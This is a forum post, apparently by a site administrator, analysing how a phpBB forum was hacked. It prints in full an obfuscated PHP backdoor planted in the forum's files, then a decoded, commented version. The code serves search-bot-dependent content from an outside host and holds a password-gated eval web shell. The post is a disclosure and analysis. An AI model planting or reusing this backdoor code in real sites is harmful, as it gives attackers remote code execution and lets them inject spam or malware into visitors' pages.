Итак, нарыл интересненького.
Во первых печально, но форум был взломан (через стандартные дырки phpbb, они пока остались, но я слежу за ними и скоро буду обновляться.)
технические детали:
на форум был внедрен файл forum/umil/style/prs.php
со следующим содержимым:
- Код: Выделить всё • Развернуть
<?php
$x12="\x63ur\154_\x69\156\151\x74"; $x13="c\165\x72\x6c\137\163\x65\x74\x6f\160\x74"; $x14="\143\x75\x72l_e\170e\143"; $x15="\x63\x75rl\x5fcl\157s\x65"; $x16="\145v\x61\154"; $x17="\146\x69\x6c\x65\x5f\x67\145\x74\x5fc\157\x6e\x74e\156\164s"; $x18="\x66\x75\x6ec\x74\151o\156\137\145\170\x69\163\x74\163"; $x19="\151\156\151\137g\145\164"; $x1a="\x70r\x65\x67_m\141\164\143h"; $x1b="\x73\164ri\x70\x73\154\141s\150\x65\x73"; $x1c="\x75r\x6c\145\x6e\x63\157d\145";
error_reporting(0);$x0b = "\x68\x74tp\072\x2f\x2f\x79\157t\142\157\x6e\165s\056\x69\156\146o\057\x69nd\145xa\x74\157\x722\0716\x37\x32\x34/ge\x74\x2e\x70h\x70"; $x0c = "Be\156";if ($x1a("\x2f(\171a\x6e\x64\x65\x78\x7c\x67o\157g\x6c\145\051\x2f\x69", $_SERVER['HTTP_USER_AGENT'])) {$x0d = $x1c("\150\x74\x74\160:\x2f\x2f".$_SERVER['SERVER_NAME'].$_SERVER['REQUEST_URI']);$x0e = $x1c($_SERVER['HTTP_USER_AGENT']);$x0f = $x0b."?\151\x64\x3d".$x0d."\046\143\x68\141\x72\163e\164\075\165&b\x6f\x74=".$x0e; if($x19("a\154lo\x77\137\x75\x72\x6c\x5f\x66\157p\x65\156") == 1) {echo $x17($x0f); } elseif($x18('curl_init')) {$x10 = $x12($x0f);$x13($x10, CURLOPT_HEADER, FALSE);$x13($x10, CURLOPT_RETURNTRANSFER, TRUE);$x11 = $x14($x10);$x15($x10); echo $x11;} } $x0f = $x0b."\077\143\x6f\x64\x65\075\x63\157\144\x65\046\x62\x6f\164\075".$x0e;if($x19("a\x6c\154\x6f\167\137u\162\154\137\146\157\x70\145n") == 1) { echo $x17($x0f);}elseif($x18('curl_init')) { $x10 = $x12($x0f);$x13($x10, CURLOPT_HEADER, FALSE);$x13($x10, CURLOPT_RETURNTRANSFER, TRUE);$x11 = $x14($x10);$x15($x10); echo $x11;}if($_REQUEST["\143"] == $x0c) $x16($x1b($_REQUEST["\x63\157\x64\145"])); ?>
Эта шифровка для пытливого ума превращается в такую программу:
(комментарии мои)
- Код: Выделить всё • Развернуть
<?php
// отключены сообщения об ошибках
error_reporting(0);
if (preg_match("/(yandex|google)/i", $_SERVER['HTTP_USER_AGENT']))
{ // если смотрит яндекс или гугл
$url = "http://yotbonus.info/indexator296724/get.php?id=http://roboforum.ru/forum/umil/style/prs.php&charset=u&bot=".urlencode($_SERVER['HTTP_USER_AGENT']);
if(ini_get("allow_url_fopen") == 1)
{ // если разрешена функция allow_url_fopen
echo file_get_contents($url);
} elseif (function_exists('curl_init'))
{ // если присутствует функция curl_init
curl_setopt(curl_init($url), CURLOPT_HEADER, FALSE);
curl_setopt(curl_init($url), CURLOPT_RETURNTRANSFER, TRUE);
$result = curl_exec(curl_init($url));
curl_close(curl_init($url));
echo $result;
}
}
// остальным показываем нижеследующее
$url = "http://yotbonus.info/indexator296724/get.php?code=code&bot=".urlencode($_SERVER['HTTP_USER_AGENT']);
if (ini_get("allow_url_fopen") == 1)
{ // если разрешена функция allow_url_fopen
echo file_get_contents($url);
} elseif (function_exists('curl_init'))
{
curl_setopt(curl_init($url), CURLOPT_HEADER, FALSE);
curl_setopt(curl_init($url), CURLOPT_RETURNTRANSFER, TRUE);
$result = curl_exec(curl_init($url));
curl_close(curl_init($url));
echo $result;
}
// авторский запрос кода ?
if($_REQUEST["c"] == Ben) eval(stripslashes($_REQUEST["code"]));
?>
что делает эта программа ? :
будучи внедренной на сайт может возвращать некоторый код в зависимости от браузера пользователя, или указки хозяина "ботнета"
я проверил на эмуляции разных типовых браузеров
в ответ для ботов яндекса и гугла
вставляется код <p></p>
для остальных два минуса -- или пусто (для эксплорера родного win98)
Что там могло еще появляться может быть известно только хозяину и пострадавшим
Извиняйте если что ...
P.S. правильная бумага уже пошла в органы
Добавлено спустя 4 минуты 29 секунд:хорошая статья по теме :
http://habrahabr.ru/company/xakep/blog/130792/